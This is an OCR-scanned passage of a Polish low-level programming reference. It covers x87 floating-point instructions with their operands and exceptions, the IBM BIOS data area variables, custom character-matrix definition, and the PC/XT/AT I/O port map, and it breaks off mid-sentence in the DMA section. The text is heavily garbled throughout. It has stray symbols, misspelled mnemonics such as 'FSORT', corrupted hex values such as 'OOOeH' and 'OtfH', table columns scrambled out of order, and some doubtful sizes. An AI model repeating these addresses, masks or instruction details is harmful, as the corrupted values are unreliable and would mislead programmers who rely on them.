FBSTP ţ "ţ Argumenty: FBSTP przeznaczenie DP "ţ "Odstępstwa: I ţP1= Opis: Zapamiętuje liczbę dziesiętna upakowanš i usuwa jš ze stosu. *s 4`a " xţţ Mazwa: FCHS ; Argumenty: FCHS Odstępstwa: I Opis Zmienia znak liczby Nazwa: FCLEX,FNCLEX Argumenty: FCLEX FNCLEX Odstępstwa: Żadne Opis: Zeruje znaczniki odstępstw. :ţţ ţ Nazwa: FCOM Argumenty: FCOM I/Ÿródło //ST(i) SR LR Odstępstwa: I,D Opis: Porównuje liczby rzeczywiste. 'ţ.r ^ Nazwa: FCOMP Argumenty: FCOMP //Ÿródło //ST(i) :ţţ `:ţ; SR LR ţ:ţ ^ Odstępstwa: I,D Opis: Porównuje liczby rzeczywiste i usuwa wierzcholek stosu. Nazwa: FCOMPP Argumenty: FCOMPP Odstępstwa: I,D Opis: Porównuje liczby rzeczywiste i usuwa je ze stosu. a=Ń ţt , ţL t 103 Nazwa: FCOS Argumenty: FCOS Odstępstwa: IS,I,D,U,P Opis: Cosinus ST(0). Nazwa: FDECSTP Argumenty: FDECSTP Odstępstwa: Żadne Opis: Zmniejsza wskaŸnik stosu Nazwa: FDISI,FNDISI Argumenty: FDISI FDNISI Odstępstwa: Żadne Opis: Wylacza przerwania. Nazwa: FDIV Argumenty: FDIV I/ Ÿródło I przeznaczenie, Ÿródło //ST(i), ST SR LR Odstępstwa: I,D,Z,O,U,P Opis: Dzieli liczby rzeczywiste. Nazwa: FDIVP Argumenty: FDIVP przeznaczenie, Ÿródfo //ST(i),ST Odstępstwa: I,D,Z,O,U,P Opis: Dzieli liczby rzeczywiste i usuwa ze stosu. Nazwa: FDIVR Argumenty: FDIVR /IŸródło/przeznaezenie, Ÿródło /IST,ST(i)/ ST(i), ST ' SR LR Odstępstwa: I,D,Z,O,U,P Opis: Dzieli odwrotnie liczby rzeczywiste. Nazwa: FDIVRP Argumenty: FDIVRP przeznaczenie, Ÿródło ST(i),ST Odstępstwa: I,D,Z,O,U,P Opis: Dzieli odwrotnie liczby rzeczywiste i usuwa ze stosu. 6 ;I; 4 Iţœţ Nazwa: FENI,FNENI menty: FENI FNENI Odstępstwa: Żadne .Opis. Zezwala na przerwania. Nazwa: FREE Argumenty: FREE przeznaczenie ST(i) Odstępstwa: Żadne Opis: Zwalnia rejestr. Nazwa: FIADD Argumenty: FIADD Ÿródło WI SI Odstępstwa: I,D O,P Opis: Dodaje liczby całkowite. FICOM Nazwa: : ţ: ţ Argumenty: FICOMP Ÿródło WI SI Odstępstwa: I,D Opis: Porównuje liczby caHcowite. Nazwa: FIDIV Argum‚nty: FIDIV Ÿródło WI SI Odsłępstwa: I,D,Z,O,U,P Opis: Dzieli liczby całkowite. Nazwa: FIDIVR Argumenty: FIDIVR Ÿródło _ WI t i SI Odstępstwa: I,D,Z,O,U,P Opis: Dzieli odwrotnie liczby całkowite. Nazwa: FILD Argumenty: FILD Ÿródło WI 105 SI LI Odstępstwa: I ţP1= Opis: taduje liczbę całkowitš. Nazwa: FIMUL Argumenty: FIMUL Ÿródło WI SI Odstępstwa: I,D,O,P Opis: Mnoży liczbę całkowitš. Nazwa: FINCSTP Argumenty: FINCSTP Odstępstwa: Żadne Opis: Zwiększa wskaŸnik stosu. Nazwa: FINIT,FNINIT Argumenty: FINIT FNINIT Odstępstwa: Żadne Opis: Inicjalizuje procesor. Nazwa: FIST Argumenty: FIST przeznaczenie WI SI Odstępstwa: I,P Opis: Zapamiętuje liczbę całkowitš. Nazwa: FISTP Argumenty: FISTP przeznaczenie WI SI LI Odstępstwa: I,P Opis: Zapamiętuje liczbę cafkowitš i usuwa jš ze stosu. Nazwa: FISUB Argumenty: FISUB Ÿródło WI SI ! Odstępstwa: I,D,O,P Opis: Odejmuje liczby całkowite. 2 106 Nazwa: FISUBR Argumenty: FISUBR Ÿródło WI SI Odstępstwa: I,D,O,P Opis: Odejmuje odwrotnie liczby całkowite. Nazwa: FLD Argumenty: FLD Ÿródło ST(i) SR LR TR Odstępstwa: I,D Opis: taduje liczbę rzeczywistš. Nazwa: FLDCW Argumenty: FDLCW Ÿródło 2 Bajty Odstępstwa: Żadne Opis: ł-aduje słowo kontrolne. Nazwa: FLDENV Argumenty: FLDENV Ÿródło 14 Bajtów Odstępstwa: Żadne Opis: t.aduje œrodowisko. Nazwa: FLDLG2 Argumenty: FLDLG2 Odstępstwa: I ţP1= Opis: Laduje logarytm dziesiętny z 2. ;ţţţr Nazwa: FLDLN2 ,. a Argumenty: FLDLN2 Odstępstwa: I P1= Opis: ţaduje logarytm naturalny z 2. Nazwa: FLDL2E Argumenty: FLDL2E Odstępstwa: I ţP1 = Opis: _ taduje logarytm dwójkowy z liczby e. , E? ţ 107 Nazwa: FLDL2T Argumenty: FLDL2T Odstępstwa: I ţP1= Opis: Laduje logarytm dwójkowy z 10. Nazwa: FLDPI Argumenty: FLDPI Odstępstwa: I ţP1= Opis: ł.aduje liczbę Pi. Nazwa: FLDZ Argumenty: FLDZ Odstępstwa: I ţP1= Opis: t.aduje liczbę +0.0. Nazwa: FLD1 Argumenty: FLD1 Odstępstwa: I ţP1= Opis: ţaduje liczbę +1.0. Nazwa: FMUL Argumenty: FMUL /I Ÿródło I przeznaczenie, Ÿródło //ST(i),ST/ST,ST(i) SR LR Odstępstwa: I,D,O,U,P Opis: Mnoży liczby rzeczywiste. Nazwa: FMULP Argumenty: FMULP przeznaczenie, Ÿródło ST(i),ST Odstępstwa: I,D,O,U,P Opis: Mnoży liczby rzeczywiste i usuwa je ze stosu. Nazwa: FNOP Argumenty: FNOP Odstępstwa: Żadne Opis: Instrukcja pusta. ţ * Nazwa: FPATAN .ţ: Argumenty: FPATAN Odstępstwa: U,P Opis: Częœciowy ArcusTangens. Nazwa: FPREM ţ ! Argumenty: FPREM . Odstępstwa: I,D,U Opis: Częœciowa reszta. Nazwa: FPREM1 Argumenty: FPREM1 Odstępstwa: I,D,U Opis: Częœciowa reszta. 80387 Nazwa: FPTAN Argumenty: FPTAN Odstępstwa: I,P Opis: Częœciowy tangens. Nazwa: FRNDINT Argumenty: FRNDINT ,:`ţ" Odstępstwa: I,P Opis: Zaokršgla do liczby całkowitej. ~* Nazwa: FRSTOR Argumenty: FRSTOR Ÿródło 94 Bajty ů , , Odstępstwa: Żadne Opis: Ładuje zapamiętany stan. , Ž Nazwa: FSAVE,FNSAVE Argumenty: FSAVE/FNSAVE przeznaczenie 94 Bajty Odstępstwa: Żadne Opis: Zapamiętuje stan. Nazwa: FSCALE Argumenty: FSCALE :‹:` 109 Odstępstwa: I,O,U Opis: Skaluje. Nazwa: FSETPM . E Argumenly: FSETPM Odstępstwa: Żadne Opis: PrzejdŸ w tryb wirtualny. 80287 Nazwa: FSIN Argumenty: FSIN Odstępstwa: IS,I,D,U,P Opis: Sinus ST(0). 80387 Nazwa: FSINCOS Argumenty: FSINCOS Odstępstwa: IS,I,D,U,P Opis: Sinus i cosinus ST(0). 80387 Nazwa: FSORT Argumenty: FSQRT Odstępstwa: I,D,P Opis: Pierwiastek kwadratowy. Nazwa: FST Argumenty: FST przeznaczenie ST(i) SR LR Odstępslwa: I,O,U,P Opis: Zapamiętuje liczbę rzeczywistš. Nazwa: FSTCW,FNSTCW Argumenty: FSTCW/FNSTCW przeznaczenie 2 Bajty Odstępstwa: Żadne Opis: Zapamiętuje słowo kontrolne. Nazwa: FSTENV,FNSTENV Argumenty: FSTENV/FNSTENV przeznaczenie 2 Bajty Odstępstwa: Żadne 110 Opis: Zapamiętuje œrodowisko. Nazwa: FSTP Argumenty: FSTP przeznaczenie ST(i) SR LR TR Odstępstwa: I,O,U,P Opis: Zapamietuje liczbę rzeczywista i usuwa jš ze stosu. Nazwa: FSTSW,FNSTSW Argumenty: FSTSWIFNSTSW przeznaczenie 2 Bajty Odstępstwa: Żadne Opis: Zapamiętuje słowo stanu. Nazwa: FSTSW AX,FNSTSW AX Argumenty: FSTSWIFNSTSW przeznaczenie AX Odstępstwa: Żadne Opis: Zapamiętuje słowo stanu do AX. Nazwa: FSUB Argumenty: FSU BllŸródło/przeznaczenie,Ÿródło IIST,ST(i)I ST(i),ST SR LR Odstępstwa: I,D,O,U,P Opis: Odejmuje liczby rzeczywiste. Nazwa: FSUBP Argumenty: FSUBP przeznaczenie, Ÿródło ST(i),ST Odstępstwa: I,D,O,U,P Opis: Odejmuje liczbę rzeczywistš i usuwa jš ze stosu. Nazwa: FSUBR Argumenty: FSUBR IlŸródłolprzeznaczenie, Ÿródło IIST,ST(i)I ST(i),ST SR LR ţYţ 111 Odstępstwa: I,D,O,U,P Opis: Odejmuje odwrotnie liczby rzeczywiste. Nazwa: FSUBRP Argumenty: FSUBRP przeznaczenie, Ÿródło ST(i),ST Odstępstwa: I,D,O,U,P Opis: Odejmuje odwrotnie liczbę rzeczywistš i usuwa jš ze stosu Nazwa: FTST Argumenty: FTST Odstępstwa: I,D Opis: Sprawdza, czy wierzcholek stosu = +0.0. Nazwa: FUCOM Argumenty: FUCOM Ÿródło //ST(i) Odstępstwa: IS,I,D Opis: Porównuje. ' 80387 Nazwa: FUCOMP Argumenty: FUCOMP Ÿródło //ST(i) Odstępstwa: IS,I,D Opis: Porównuje i usuwa ze stosu. 80387 Nazwa: FUCOMPP Argumenty: FUCOMP Odstępstwa: IS,I,D Opis: Porównuje i usuwa dwukrotnie ze stosu. , 80387. Nazwa: FWAIT Argumenty: FWAIT Odstępstwa: Żadne Opis: CPU czeka, gdy 80x87 jest zajęty. NazWa: FXAM Argumenty: FXAM Odstępstwa: Żadne iţ= 112 Opis: Sprawdza wierzchotek stosu. Nazwa: FXCH Argumenty: FXCH I/przeznaczenie IlST(i) Odstępstwa: I ţP1= Opis: Wymienia rejestry. Nazwa: FXTRACT Argumenty: FXTRACT Odstępstwa: I ţP1= Opis: Rozdziela cechę i mantysę. Nazwa: FYL2X Argumenty: FYL2X ţ' Odstępstwa: P Opis: Y*logarytm dwójkowy z X. Nazwa: FYL2XP1 Argumenty: FYL2XP1 Odstępstwa: P Opis: Y*logarytm dwójkowy z (X+1). Nazwa: F2XM1 Argumenty: F2XM1 Odstępstwa: U,P OPls: 2ţX-1. Zmienne systemowe Poniższa mapa zawierawiększoœć zmiennych systemowych IBM BIOS. Wszystkie te zmienne sš udokumentowane i będš występować w przyszfych wersjach systemu. Zmienne, które nie znalazły się w tabeli sšzarezerwowane przez BIOS i system operacyjny. Mapa jest podzielona na grupy funkcjonalne oddzielone pustymi liniami. Symbol AT oznacza, iż dana zmienna odnosi się do komputera klasy co najmniej AT. Symbol oznacza komputer PCjr Zwróć uwagę, iż zmienne te sš adresowane w stosunku do segmentu OOOOh, ale również można je adrescwać w stosunku do segmentu 0040h. Większoœć programistów stosuje jednak pierwszy sposób. Umieszczenie w segmancie DS wartoœci 0 można osišgnšć przez XOR AX , AX MOV DS , AX a wartoœci 40h MOV AX , 4 0 h 'ůţ MOV DS , AX Teraz jeœli przypomnisz sobie, to co mówiliœmy o instrukcjach XOR i MOV, wiesz dlaczego pierwszy sposób jest preferowany. 113 Adres Rozmiar Zawartoœć 0:0400 2 Bazowy adres portu pierwszego złšcza RS-232 (COM1). 0:0402 2 Port COM2. 0:0404 2 Port COM3. 0:0406 2 Port COM4. 0:0408 2 Bazowy adres pierwszego złšcza drukarki(LPT1). 0:040A 2 Port LPT2. 0:040C 2 Port LPT3 0:040E 2 Port LPT4 0:0410 2 Lista sprzętu w komputerze. Lista jest sporzšdzana według poniższego formatu. Taka sama lista jest zwracana po przerwaniu 11 h w AX. Załóżmy, iż lista sprzętu znajduje się w rejestrze AX. Poszczególne pola majš znaczenie tak jak poniżej. Sposób dostępu do tych pól jest podany obok. Symbol & oznacza, iż chcemy wykonać operację AND z podanš obok maskš. Jeœli pamiętasz opis instrukcji AND to wiesz, że np aby sprawdzić, czy komputer ma koprocesor należy wykonać następujšce operacje: AND AX,0002H JNE koprocesor_zainstalowany JMP Brak koprocesora F E D C B A 9 8 7 6 5 4 3 2 1 0 prt j aux drwid ram 7 maska 0: 0= Brak stacji dysków (AX & 0001H) ţ 1: 8087 koprocessor (AX & 0002H) 2-3: pamięć RAM pfyty głównej (AX & OOOeH) 01=16K;10H=32K;11H=64K+ 4-5: aktywny tryb graficzny (AX & 0030H) 00=możliwa EGA (nie zawsze wiarygodne) O1=40- kolumn kolor 10=80-kolomn kolor 11=TTL Monochromatyczny 6-7: Całkowita liczba napędów (AX & OOcOH) 00=1;01=2;10=3;11=4 8: Obecnoœć DMA (AX & 0100H) 9-11: Porty R5232 (AX & 0e00H) 000=brak;001=1; ...111=7 12:1=Obecnoœ‚ karty GAME (AX & 1 OOOH) 13:1= Drukarkaszeregowa 14-15: Zainstalowane drukarki (AX & c000H) 00=brak;01=1;10=2;11=3 Adres Rozmiar Zawartoœć 0:0412 1 Błędy klawiatury 0:0413 _ 2 Całkowity rozmiar pamięci w KB(Taki jak po przerwaniu 12h w AX). 0:0415 2 Zmienna przejœciowo używana przy testowaniu błędów sprzętowych. Zmienne okreœlajšce stan klawiatury. Poszczególne pola majš następujšce 0:0417 2 znaczenie:( Pierszy bajt jest taki sam jak zwracany przez rejestr AI po przerwaniu 16h funkcja 02). iP ţ i 7 6 5 4 3 2 1 0 I C N S a c sL sR (Niech AL zawiera ten bajt) maska 0: Prawy Shift wciœnięty (AL & 01 H) 1: Lewy Shift wciœnięty (AL & 02H) 2: Ctrl wciœniety(lewy lub prawy) (AL & 04H) 3: Alt wciœnięty (lewy lub prawy) (AL & 08H) 4: SeroIILock zapalony (AL & 10H) 5: Num Lock zapalony (AL & 20H) 6: CapsLock zapalony (AL & 40H) 7: Stan INSERT (AL & 80H) :ţ&ţ 7 6 5 4 3 2 1 0 i c n s sy aL cL (Niech AL zawiera ten bajt) maska 0: Lewy Ctrl wciœnięty (AL & O1 H) ţ 1: Lewy Alt wciœnięty ( AL & 02H) 2: SysReq wciœnięty (AL & 04H) 3: Stan przerwy (AL & 08H) 4: ScroIILock wciœnięty (AL & 10H) 5: NumLock wciœnięty (AL & 20H) 6: CapsLock wciœnięty (AL & 40H) 7: Insert wciœnięty (AL & 80H) - M t Zwróć uwagę, iż bity 0-2 sš zdefiniowane tylko dla klawiatury 1 O1-klawiszowej. Przerwanie 16h funkcja 02 zwraca w rejestrze AL wartoœć zgodnš z pierwszym bajtem. Format drugiego bajtu jest jednak inny niż tufaj. Po szczegófy zajrzyj do opisu przerwania. Niektóre starsze programy zmieniajš wartoœci odpowiednich pól w celu zmiany jakiegoœ stanu (Np. zapalenia Caps Loek). W klawiaturze 101-klawiszowej nie będzie to działać. Trzeba odwofywać się bezpoœrednio przez porty. ţ x Adres Rozmiar ţ ţ Zawartoœć .", nţ".mţiţţo n 115 Adres Rozmiar Zawartoœć 0:044c 2 Wielkoœć ( w bajtach ) pamięci ekranu. 0:044e 2 Offset pamięci w stosunku do poczštku pamięci obrazu. 0:0450 10H Położenie kursora ( 8 par kolumna,wiersz ). 0:0460 2 Kształl kursora ( poczštek i koniec ). 0:0462 1 Numer aktywnej strony karty graficznej. 0:0463 2 Adres portu kontrolera graficznego 6845 ( Patrz porty CGA ). 0:0465 1 Aktualna zawartoœć w kontrolerze 6845 CRT MODE(rejestr portu 3x8H). 0:0466 1 Aktualna zawartoœć w kontrolerze 6845 CRT PALETTE (port 3x9H rej.). 0:0467 5 Obszar danych magnetofonu lub POST (patrz Start systemu). 0:046c 4 Liczba taktów zegara (taktuje co 55ms od startu). 0:0470 1 Wskażnik nadmiaru zegara(po 24 godzinach nieprzerwanej pracy) 0:0471 1 WskaŸnik Ctrl-Break . Gdy wiœnięte to ustawiony jest bit 7. Wartoœć 1234H w t ch komórkach oznacza ża trwa właœnie restart po wciœnięciu 0:0472 2 (Ctrl+Alt+Del]. BIO sprawdzatšwartoœć by uniknšć niepotrzebnego wywolywania POST. 0:0474 4 Obszar kontrolny dyskietki lub dysku twardego AT. (0475) Liczba dysków twardych AT. 0:0478 4 Wartoœci czasowe złšcza równoległego drukarki. 0:047c 4 Wartoœci czasowe ztšcza RS-232. 0:0480 2 Offset poczštku bufora klawiatury AT (zwykle 01 e H). 0:0482 2 Offset korica bufora klawiatury AT (zwykle 003e H). 0:0484 1 Iloœć wierszy w jednym znaku karty EGA. 0:0485 2 Iloœć bajtów na 1 znak w karcie EGA 0:0487 1 Różne informacje karty EGA. odpowiednie pola oznaczajš: 0:1=kursor włšczony. 1:1=Wyœwietlanie Monochromatyczne. 2:1=Dozwolony zapis do pamięci ekranu. 3:1=EGA nie jest aktywna 5-6: pamięć RAM karty EGA(00=64K; 01=128K;10=192K;11=246K) 7: ekran nie jest wyczyszczony 0:0488 1 Różne informacje karty EGA cd. Odpowiednie pola oznaczajš: ţ Adres Rozmiar Zawartoœć 0-3: Stan przełšczników na karcie EGA (z tylu komputera). 4-7: Bity cech. 0:0490 1 AT Bity stanu dysku dla napędu 0 (Używany dla stacji gęstych). 0:0491 1 AT Bity stanu dysku dla napędu 1. 0:0492 1 AT WskaŸnik trwania operacji dyskowych dla napędu 0. 0:0493 1 AT WskaŸnik trwania operacji dyskowych dla napędu 1. ţ"ţ ; 0:0494 1 AT numer aktualnego cylindra dla napędu 0. 1 ţ 0:0495 1 AT numer aktualnego cylindra dla napędu 1. ţ ţ d 0:0496 1 Klawiatura AT bit 4=1 (10H) jeœli jest podłšczona klawiatura 101. 0:0497 1 Znacznik zamkniętej kluczem klawiatury AT. Patrz przerwanie 15h funkcja 86h 0:0498 4 AT Adres wskaŸnika opóŸnienia użytkownika 0:049c 4 AT Mikrosekundy do korica czekania. 0:04a0 1 AT wskaŸnik opóŸnienia użylkownika. 1= zajęte, 80H = zgłoszone, 0 = zatwierdzone 0:04a1 7 Zarezerwowane dla kart sieciowych AT Adres EGA(VGA) SAVE PTR. Wskazuje na adres danych karty EGA. Możesz zmieniać ten adres tak, ƒby wskazywał na obszar, w ktorym zdefiniujesz swojš wtasnš mafrycę znaków i inne parametry. Zwykle postępuje się.w ten sposób że ` 0:04a8 4 kopiuje się te dane w inne miejsce, dokonuje odpowiednich zmian i w tef zmi‚nnej umieszcza adres nowych danych. Rozmieszczenie danych karty EGA(VGA) ~` znajdziesz na koricu mapy. 0:04f0 10H Obszar komunikaeji między różnymi programami. 0:0500 1 Status drukowania ekranu. OOH= ok; 01 H = trwa drukowanie; OffH = blšd podczas druku. Sfatus Fantom dysku. W systemach o jednej stacji dysków odwołania do napędu b: 0:0504 1 sš obsługiwane przez tš stację. Jeœli zmienna ta ma wartoœć równš 1 to stacţa jest identyfikowana przez b: ţ;; 0:0510 11 H Używane przez interpreter BASICA. 0:0530 3 Używane przez instrukcję MODE. FAR JMP do rozpoczęcia POST. Po zimnym restarcie (Sygnał Reset do f000:fff0 5 procesora) następuje skok pod ten adres. t000:fff5 8 Data wyprodukowania ROM BIOS w ASCII f000:fffc 2 (nieużywane). Adres Rozmiar Zawartoœć Typ komputera IBM (nie zawsze wiarygodne). OtfH = PC OfeH = XT lub przenoœny PC OfdH = PCjr f000:fffe 1 OfcH = AT OfbH = XT z 640 Kb na płycie głównej. OfaH=PSI2 Model 30 Of9H = Klon PC OfBH=PS/2 Model 80 Obszar danych karty EGA(VGA): Offs Rozmiar +0 4 offset segment Adres tabliey parametrów EGA. +4 4 offset segment Adres obszaru parametrów dynamicznych VGA. +8 4 offset segment Adres informacji o znakach trybu tekstowego. ! +OcH 4 offset segment Adres informacji o znakach trybu graficznego. +10H 4 offset segment Adres obszaru parametrówdynamicznych VGA + 14H OCH Zarezerwowane 1 Tablica paremetrów EGA: Ta tablica musi istnieć. Poczštkowo wskazuje na ROM. Tablica powinna mieć 1472 bajty długoœci po 64 na każdy z 23(17h) trybów graficznych. Tabela ta służy do wewnętrznego wykorzystania przez kartę EGA. Obszar parametrów dynamicznych: Tabela opcjonalna gdy ustawiona na 0000:0000 nie jest wykorzystywana. Wskazuje na kopie ważnyeh danych znajdujš- cych się w rejestrach karty EGA. Offs Rozmiar Zawartoœć , +0 10H Wartoœci 16 rejestrów i kolorów. +1 OH 1 Zawartoœć rejestru koloru ramki. , +11 H OefH Zarezerwowane. Informacje o znakach trybu tekstowego: Tabela opcjonalna. Jeœli wskazuje na 0000:0000 to jest ignorowana. Wskazuje na informacje służšce do generacji różnych egzotycznych znaków, np. polskich znaków diakrytycznych. Możesz tej zmiennej używać aby zainstalować polskie znaki na swoim komputerze. .18 Offs Rozmiar Zawartoœć Liczba bajtów na znak w definicji znaków. +0 1 nia (0 dl alnej operacji). +1 1 Liczba bloków pamięci RAM do załadowa a norm +2 2 Liczba znaków do zmiany (Normalnie wszystkie 256 . Pienvszy zmieniany znak (Normalnie 0: wszystkie znaki . _ +4 2 h ru Adres matrycy znaków. Matryca znaków jest to obszar 256 8-,14- lub 16-bajtowyc g p +6 4 definiujšcych ksztaft znaków. Patrz poniżej. Iloœć wierszy, które można wyœwietlić na ekranie. Podanie OffH powoduje, że BIOS sam to +OaH 1 ustala. 1 lub więcej bajtów definijšcych dla których trybów graficznych definiujemy znaki. Na koricu +ObH 1-ţ uetv umieœć wartoœć Offh. InformacJe o znakach trybu graficznego : iera dane, używane do generowania matrycy Tabela opcjonalna. Jeœli ustawiona na 0000:0000 to jest ignorowana. Zaw rx naków w trybie graficznym. . :ţ ; ţ ; 119 Definiowanie matrycy znaków ţ Załóżmy, iż chcesz zdefiniować literę Ę w trybie 14*8. Możesz jš zaprojektować w następujšcy sposób: Teraz przepisz projekt tej litery zastępujšc puste pola przez 0, a pola zamalowane przez 1. Będzie to wyglšdało mniej więcejtak: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 0 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 0 0 1 0 0 1 0 0 0 0 1 1 1 1 0 0 0 0 1 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 0 1 1 1 1 1 1 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 1 1 Otrzymałeœ cišg 14 Iiczb zapisanych w systemie dwójkowym. Jedyne, co musisz jeszcze zrobić, to zamienić te liczby na system szesnastkowy lub dziesiętny. W naszym przypadku będzie to: szesnastkowo: 00,00,7F,21,21,24,3C,24,21,21,7F,04,08,07 dziesiętnie: 0,0,127,33,33,36,60,36,33,33,127,4,8,7 Takie wartoœci powinny mieć bajty definiujšce ksztaft znaku w matrycy. Oprócz zmiany powyższych tabel matrycę znaków możesz zmieniać przy pomocy funkcj 11 h przerwania 10h. Matryca dla znaków o kodach większych niż 7 Fh jest wskazywana przez wektor przenvania 1 Fh. n ; . ţ S M ortów komputera PClXTIAT ** Paţtej znajduje się mapa portów wejœcialwyjœcia komputerów klasy PCIXTlAT. Znaczenie i sposób programowania portówjest opisany przy adresie portu. Opis niektórych portów zajmuje tyle miejsca, że umieszczenie go w tabelce tţOby jej czytelnoœć. Sš one więc opisane w następnyeh paragrafach. Przy takich portaeh znajduje się odnoœnik iniom'Iwjţcygdzie należy szukać dodatkowych informacji. Porty OOOH-OffH sš używane dla celów wewnętrznych karty głównej Porly 100H-3ffH sš wykorzystywane do wspólpracy z kartami. ţţ' ţţ ţk ţ ţ 't‹ Porly powyżej 400H nie sš dostępne z karty głównej. : 000-01 f PCIXT: 000-OOf Opis: DMA kontroller #1, 8237A-5. Pairz: Porty DMA. : 020-03f PClXT: 020-021 Opis: Kontroler przerwari, 8259A. Kontrolerprzerwari służy do obsługi przerwari sprzętowych zgfaszanych przez takie urzšdzenia jak zegar czasu rzeczywis- ţ `ţ tego, czy klawiatura. Każdemu z tych urzšdzeri jest przyporzšdkowany poziom mu odpowiadajšcy, jeœli zostanš zgłoszone równoczeœnie przerwania z kilku urzšdzeri to zostanie najpierw wykonane przerwanie o niższym poziomie. Przykładowo, zegarczasu rzeczywistego ma poziom 0 (oznacza się to przez IROO). Tak więc przerwanie zegarowe(08h) jest wykonywane zawsze co okreœlony czas. W naszym przypadku co 55 ms. Z Twojego punktu widzenia ważne jest to, że układ 8259A żšda aby poinformować go o korieu przerwania sprzętowego. Jeœli więc chcesz przechwycić któreœ z tych przerwari do swoich celów, na koricu procedury obsługujšcej je musi się znaleŸć sekwencja: mov aI,20h out 20h,al : 040-05f PCIXT: 040-043 Opis: Programowany licznik 8253-5 (AT: 8254.2). Z punktu widzenia programisty ten licznik ma małe zastosowanie. Po dokładny opis patrz [10]. PC/XT: 060 Opis: PPI (Programmable Peripheral Interface- Programowalne złšcze peryferyjne) port A. Zawiera kod ostatnio naciœniętego klawisza. Jest on wykorzystywany przez przerwanie 09h. Węwnštrz procedury obsfugi ů tego przerwania znajduje się instrukcja IN aI,60H PCIXT: 061 Opis: PPI port B. Znaczenie poszczególnych bitów jest następujšce: 121 7 6 5 4 3 2 1 0 I 0:,1:03H=Gloœnik wlšczony. Tylko w len sposób możesz programować wbudowany gloœnik IBM-a. 3:1=Czytaj górne uslawienie przelaczników. ţ 4:ţ Wlšczone sprawdzanie parzysloœci pamię… RAM. 5:0=Włšczone sprawdzanie kanałów wejœcialwyjœƒa. 6:0=Dolne ustawienie zegara klawialury 7:1=Klawiatura zablokowana. PCIXT: 062 Opis: PPI port C. Znaczenie poszczególnych bitów jest następujšce: 7 6 5 4 3 2 1 0 0 sprzęt 0-3:Uslawienie pnelšczników z t)hu kompulera. 5:t =Kanal wyjœciowy dla licznika 2. 6:1=Sprawdzanie kanalów wejœcialwyjœcia. ţ 7:1=Wyslšpil blšd parzysloœci RAM. PCIXT: 063 Opis: Rejestr komend PPI Ustawia, które porty PPI sš wejœciowe, a które wyjœciowe. BIOS ustawia wartoœć tego portu na 99H (Porty A i C wejœciowe, ţ B wyjœciowy). : 060-06f R. Opis: Kontroler klawiatury 8042 Patrz: Klawiatura AT : 070-07f Opis: Zegar czasu rzeczywistego,CMOS Patrz: CMOS (rozdział 2) : 080 Opis: Port używany przez POST do sprawdzania sprzętu. : 080-09f PC/XT: 080-083 Opis: DMA rejestr stron 74L5612 Patrz: Porty DMA PCIXT: Oa0 Opis: port NMI (Nonţnaskable Interrupt-Przerwanie nie maskowalne). =ţ Prterwanie NMI jest wywowwane w przypadku wystšpienia błędu parzystoœci pamięci RAM. Ustawienie bitu 7 blokuje NMI, Wyzerowanie tego bitu zezwala na NMI. ţţ:; : Oa0-Obf Opis: Kontroler Przerwari #2, 8259A ţdţţ ţ : Oc0-Odf Opis: DMA kontroler #2, 8237A-5 ~ţ , Patrz: Porty DMA : Of0 Opis: Port koprocesora 80287 Po wystšpieniu biędu procesora zatrzaskiwany jest sygnał 'BUSY' tego procesora. OUT OfO H,0 likwiduje to zamknięcie. : Oi1 Opis: Reset koprocesora 80287 . Procesor zmienia tryb pracy z wirtualnego na rzeczywisty OUT Ofl H,0 przywraca koprocesor 80287 do trybu rzeczywi= stego. : Of2-0f7 Opis: Porty koprocesora matematycznego. : Oi8-Ofc , Opis: Dane procesora 80287. :*ţ : 170-177 . 4 Opis: Drugi dysk twardy. Patrz: Porty dysku twardego : 1 f0-1 f7 :;ţţ", Opis: Dysk twardy Patr z: Porty dysku twardego : 200-207 PC/XT: 200-20f Opis: Game IIO (porty joysticka AID ) Patrz: Porty joysticka PCIXT: 210 ~; Opis: Port kontrolny rozszerzeri. 123 PCIXT: 213 Opis: Zezwolenie na rozszerzenia. PC/XT: 214 Opis: Rejestr szyny danych rozszerzeri. PC/XT: 215 Opis: Rejestr adresu rozszerzeri (Górny bajt). PC/XT: 216 Opis: Rejestr adresu rozszerzeri (Dolny bajt). : 278-27f PC/XT: 278-27f 5 Opis: Złšcze równoległe drukarki #2 Patrz: Porty drukarki : 2c0-2df PC/XT: 2c0-2df Opis: EGA #2 Patrz: Porty EGA : 2f8-2ff PC/XT: 2f8-2ff Opis: Złšcze asynchroniczne #2 (COM2) Patrz: Porty szeregowe : 300-31 f Opis: Karta prototypu PC/XT: 320-32f Opis: Dysk twardy Patrz: Porty dysku twardego : 370-377 Opis: Kontroler drugiego napędu dyskietek Patrz: Porty FDC : 378-37f PC/XT: 378-37f Opis: Złšcze równoległe drukarki #1 Patrz: Porty drukarki : 380-38f PCIXT:3 80-38f Opis: SDLC (Synchronous Data Link Control - port synchroniczy przesyłania danych). ; ţs" : 3a0-3af PC/XT: 3a0-3a9 Opis: Port asynchroniczny #1 : 3b0-3df PClXT: 3b0-3df Opis: Złšcze drukarki karty MDA "‹ c9. Patrz: Porty drukarki cAT>: 3b0-3cf PCIXT: 3b0-3cf Opis: VGA Patrz: Porty VGA cAT>: 3c0-3cf PC/XT: 3c0-3cf Opis: EGA #1 Patrz: Porly EGA : 3d0-3df PCIXT: 3d0-3df Opis: CGA Patrz: Porty CGA : 3f0-3f7 PC/XT: 3f0-3f7 Opis: Konlroler napędu stacji dysków Patrz: Porty FDC : 3f8-3ff PC/XT: 3f8-3ff Opis: Złšcze asynchroniezne #1 (RS 232 - COM1) Patrz: Porty szeregowe Porty DMA DMA (Direct Memory Acces - Bezpoœredni dostęp do pamięci) jest używane do szybkiego przesyłania bloków pamięci do urzšdzeri wejœcia/wyjœcia bez udziału procesora. Zwykle wykorzystujš je napędy dyskietek i dysku twardego. XT zawiera 4 8-bitowe kanały DMA, działajšce w 20-bitowej przestrzeni adresowej, używajšc kontrolera Intel 8237A. W komputerach klasy AT dołšczany jest do niego kaskadowo drugi kontroler 8237A, co pozwala na obsługę 7 kanałów DMA. / kanał Użycie w PC XT / 0 Odœwieżanie pamięci (najwyższy priorytet). 1 Nie używany. / 2 Napęd dyskietek. / 3 Dysk twardy (najniższy priorytet). 125 / Port Opis / OOOh-007h Rejestry adresów bazowych DMA. Sš to 4 pary 16-bitowych rejestrów zawierajšcych offset (w stosunku do strony DMA 